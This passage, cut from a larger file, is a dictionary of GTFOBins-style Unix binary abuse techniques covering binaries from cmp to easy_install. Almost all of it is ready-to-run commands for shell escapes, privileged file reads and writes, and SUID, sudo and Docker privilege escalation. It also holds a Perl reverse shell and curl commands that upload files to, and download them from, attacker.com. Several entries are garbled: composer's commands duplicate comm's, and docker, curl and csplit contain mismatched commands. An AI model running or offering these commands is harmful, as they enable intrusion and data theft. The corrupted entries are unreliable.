'exploits':{
'1':"sudo chroot /"}}
},
'cmp':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ncmp $LFILE /dev/zero -b -l"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which cmp) .\n\nLFILE=file_to_read\n./cmp $LFILE /dev/zero -b -l"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_read\nsudo cmp $LFILE /dev/zero -b -l"}}
},
'cobc':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"TF=$(mktemp -d)\necho 'CALL \"SYSTEM\" USING \"/bin/sh\".' > $TF/x\ncobc -xFj --frelax-syntax-checks $TF/x"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"TF=$(mktemp -d)\necho 'CALL \"SYSTEM\" USING \"/bin/sh\".' > $TF/x\nsudo cobc -xFj --frelax-syntax-checks $TF/x"}}
},
'column':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ncolumn $LFILE"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which column) .\n\nLFILE=file_to_read\n./column $LFILE"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_read\nsudo column $LFILE"}}
},
'comm':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ncomm $LFILE /dev/null 2>/dev/null"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which comm) .\n\nLFILE=file_to_read\ncomm $LFILE /dev/null 2>/dev/null"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_read\nsudo comm $LFILE /dev/null 2>/dev/null"}}
},
'composer':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"LFILE=file_to_read\ncomm $LFILE /dev/null 2>/dev/null"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which comm) .\n\nLFILE=file_to_read\ncomm $LFILE /dev/null 2>/dev/null"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_read\nsudo comm $LFILE /dev/null 2>/dev/null"}}
},
'cowsay':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\ncowsay -f $TF x"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\nsudo cowsay -f $TF x"}}
},
'cowthink':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\ncowthink -f $TF x"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\nsudo cowthink -f $TF x"}}
},
'cp':{
'file_write':{
'info':'It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_write\necho \"DATA\" | cp /dev/stdin \"$LFILE\""}},
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ncp \"$LFILE\" /dev/stdout"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which cp) .\n\nLFILE=file_to_write\necho \"DATA\" | ./cp /dev/stdin \"$LFILE\"",
'2':"sudo install -m =xs $(which cp) .\n\nLFILE=file_to_write\nTF=$(mktemp)\necho \"DATA\" > $TF\n./cp $TF $LFILE",
'3':"sudo install -m =xs $(which cp) .\n\nLFILE=file_to_change\n./cp --attributes-only --preserve=all ./cp \"$LFILE\""}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_write\necho \"DATA\" | sudo cp /dev/stdin \"$LFILE\"",
'2':"LFILE=file_to_write\nTF=$(mktemp)\necho \"DATA\" > $TF\nsudo cp $TF $LFILE",
'3':"sudo cp /bin/sh /bin/cp\nsudo cp"}},
},
'cpan':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"cpan\n! exec '/bin/bash'"}},
'reverse_shell':{
'info':'It can send back a reverse shell to a listening attacker to open a remote network access.',
'exploits':{
'1':"export RHOST=localhost\nexport RPORT=9000\ncpan\n! use Socket; my $i=\"$ENV{RHOST}\"; my $p=$ENV{RPORT}; socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\"); open(STDOUT,\">&S\"); open(STDERR,\">&S\"); exec(\"/bin/sh -i\");};"}},
'file_upload':{
'info':'It can exfiltrate files on the network.',
'exploits':{
'1':"cpan\n! use HTTP::Server::Simple; my $server= HTTP::Server::Simple->new(); $server->run();"}},
'file_download':{
'info':'It can download remote files.',
'exploits':{
'1':"export URL=http://attacker.com/file_to_get\ncpan\n! use File::Fetch; my $file = (File::Fetch->new(uri => \"$ENV{URL}\"))->fetch();"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo cpan\n! exec '/bin/bash'"}}
},
'cpio':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"echo '/bin/sh </dev/tty >/dev/tty' >localhost\ncpio -o --rsh-command /bin/sh -F localhost:"}},
'file_write':{
'info':'It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_write\nLDIR=where_to_write\necho DATA >$LFILE\necho $LFILE | cpio -up $LDIR"}},
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\necho \"$LFILE\" | cpio -o",
'2':"LFILE=file_to_read\nTF=$(mktemp -d)\necho \"$LFILE\" | cpio -dp $TF\ncat \"$TF/$LFILE\""}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which cpio) .\n\nLFILE=file_to_read\nTF=$(mktemp -d)\necho \"$LFILE\" | ./cpio -R $UID -dp $TF\ncat \"$TF/$LFILE\"",
'2':"sudo install -m =xs $(which cpio) .\n\nLFILE=file_to_write\nLDIR=where_to_write\necho DATA >$LFILE\necho $LFILE | ./cpio -R 0:0 -p $LDIR"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"echo '/bin/sh </dev/tty >/dev/tty' >localhost\nsudo cpio -o --rsh-command /bin/sh -F localhost:",
'2':"LFILE=file_to_read\nTF=$(mktemp -d)\necho \"$LFILE\" | sudo cpio -R $UID -dp $TF\ncat \"$TF/$LFILE\"",
'3':"LFILE=file_to_write\nLDIR=where_to_write\necho DATA >$LFILE\necho $LFILE | sudo cpio -R 0:0 -p $LDIR"}}
},
'cpulimit':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"cpulimit -l 100 -f /bin/sh"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which cpulimit) .\n\n./cpulimit -l 100 -f -- /bin/sh -p"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo cpulimit -l 100 -f /bin/sh"}}
},
'crash':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"crash -h\n!sh"}},
'command':{
'info':'It can be used to break out from restricted environments by running non-interactive system commands.',
'exploits':{
'1':"COMMAND='/usr/bin/id'\nCRASHPAGER=\"$COMMAND\" crash -h"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo crash -h\n!sh"}}
},
'crontab':{
'command':{
'info':'It can be used to break out from restricted environments by running non-interactive system commands.',
'exploits':{
'1':"crontab -e"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo crontab -e"}}
},
'csh':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"csh"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which csh) .\n\n./csh -b"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo csh"}}
},
'csplit':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ncsplit $LFILE 1\ncat xx01"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which csplit) .\n\nLFILE=file_to_read\ncsplit $LFILE 1\ncat xx01"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_read\ncsplit $LFILE 1\ncat xx01"}}
},
'csvtool':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"csvtool call '/bin/sh;false' /etc/passwd"}},
'file_write':{
'info':'It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_write\nTF=$(mktemp)\necho DATA > $TF\ncsvtool trim t $TF -o $LFILE"}},
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ncsvtool trim t $LFILE"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which csvtool) .\n\nLFILE=file_to_read\n./csvtool trim t $LFILE"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo csvtool call '/bin/sh;false' /etc/passwd"}}
},
'cupsfilter':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ncupsfilter -i application/octet-stream -m application/octet-stream $LFILE"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which cupsfilter) .\n\nLFILE=file_to_read\n./cupsfilter -i application/octet-stream -m application/octet-stream $LFILE"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_read\nsudo cupsfilter -i application/octet-stream -m application/octet-stream $LFILE"}}
},
'curl':{
'file_upload':{
'info':'It can exfiltrate files on the network.',
'exploits':{
'1':"URL=http://attacker.com/\nLFILE=file_to_send\ncurl -X POST -d @$file_to_send $URL"}},
'file_download':{
'info':'It can download remote files.',
'exploits':{
'1':"URL=http://attacker.com/file_to_get\nLFILE=file_to_save\ncurl $URL -o $LFILE"}},
'file_write':{
'info':'It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_write\nTF=$(mktemp)\necho DATA >$TF\"curl \"file://$TF\" -o \"$LFILE\""}},
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=/tmp/file_to_read\ncurl file://$LFILE"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which cupsfilter) .\n\nURL=http://attacker.com/file_to_get\nLFILE=file_to_save\n./curl $URL -o $LFILE"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"URL=http://attacker.com/file_to_get\nLFILE=file_to_save\nsudo curl $URL -o $LFILE"}}
},
'cut':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ncut -d \"\" -f1 \"$LFILE\""}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which cut) .\n\nLFILE=file_to_read\n./cut -d \"\" -f1 \"$LFILE\""}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_read\nsudo cut -d \"\" -f1 \"$LFILE\""}}
},
'dash':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"dash"}},
'file_write':{
'info':'It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.',
'exploits':{
'1':"export LFILE=file_to_write\ndash -c 'echo DATA > $LFILE'"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which dash) .\n\n./dash -p"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo dash"}}
},
'date':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ndate -f $LFILE"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which date) .\n\nLFILE=file_to_read\n./date -f $LFILE"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_read\nsudo date -f $LFILE"}}
},
'dd':{
'file_write':{
'info':'It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_write\necho \"DATA\" | dd of=$LFILE"}},
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ndd if=$LFILE"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which dd) .\n\nLFILE=file_to_write\necho \"data\" | ./dd of=$LFILE"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_write\necho \"data\" | sudo dd of=$LFILE"}}
},
'dialog':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ndialog --textbox \"$LFILE\" 0 0"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which dialog) .\n\nLFILE=file_to_read\n./dialog --textbox \"$LFILE\" 0 0"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_read\nsudo dialog --textbox \"$LFILE\" 0 0"}}
},
'diff':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ndiff --line-format=%L /dev/null $LFILE"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which diff) .\n\nLFILE=file_to_read\n./diff --line-format=%L /dev/null $LFILE"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_read\nsudo diff --line-format=%L /dev/null $LFILE"}}
},
'dig':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ndig -f $LFILE"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which dig) .\n\nLFILE=file_to_read\n./dig -f $LFILE"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_read\nsudo dig -f $LFILE"}}
},
'dmesg':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"dmesg -H\n!/bin/sh"}},
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ndmesg -rF \"$LFILE\""}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo dmesg -H\n!/bin/sh"}}
},
'dmidecode':{
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"make dmiwrite\nTF=$(mktemp)\necho \"DATA\" > $TF\n./dmiwrite $TF x.dmi",
'2':"LFILE=file_to_write\nsudo dmidecode --no-sysfs -d x.dmi --dump-bin \"$LFILE\""}}
},
'dmsetup':{
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which dmsetup) .\n\n./dmsetup create base <<EOF\n0 3534848 linear /dev/loop0 94208\nEOF\n./dmsetup ls --exec '/bin/sh -p -s'"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo dmsetup create base <<EOF\n0 3534848 linear /dev/loop0 94208\nEOF\nsudo dmsetup ls --exec '/bin/sh -s'"}}
},
'dnf':{
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"TF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF",
'2':"sudo dnf install -y x-1.0-1.noarch.rpm"}}
},
'docker':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"docker run -v /:/mnt --rm -it alpine chroot /mnt sh"}},
'file_write':{
'info':'It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.',
'exploits':{
'1':"CONTAINER_ID=\"$(docker run -d alpine)\" # or existing\nTF=$(mktemp)\necho \"DATA\" > $TF\ndocker cp $TF $CONTAINER_ID:$TF\ndocker cp $CONTAINER_ID:$TF file_to_write"}},
'file_read':{
'info':'CONTAINER_ID="$(docker run -d alpine)" # or existing\nTF=$(mktemp)\ndocker cp file_to_read $CONTAINER_ID:$TF\ndocker cp $CONTAINER_ID:$TF $TF\ncat $TF',
'exploits':{
'1':"LFILE=file_to_read\ndmesg -rF \"$LFILE\""}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which docker) .\n\n./docker run -v /:/mnt --rm -it alpine chroot /mnt sh"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh"}},
},
'dpkg':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"dpkg -l\n!/bin/sh"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo dpkg -l\n!/bin/sh",
'2':"TF=$(mktemp -d)\necho 'exec /bin/sh' > $TF/x.sh\nfpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF\n\nsudo dpkg -i x_1.0_all.deb"}}
},
'dvips':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"tex '\special{psfile=\"`/bin/sh 1>&0\"}\end'\ndvips -R0 texput.dvi"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"tex '\special{psfile=\"`/bin/sh 1>&0\"}\end'\nsudo dvips -R0 texput.dvi"}},
'limited_suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which dvips) .\n\ntex '\special{psfile=\"`/bin/sh 1>&0\"}\end'\n./dvips -R0 texput.dvi"}}
},
'easy_install':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\neasy_install $TF"}},
'reverse_shell':{
'info':'Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell.',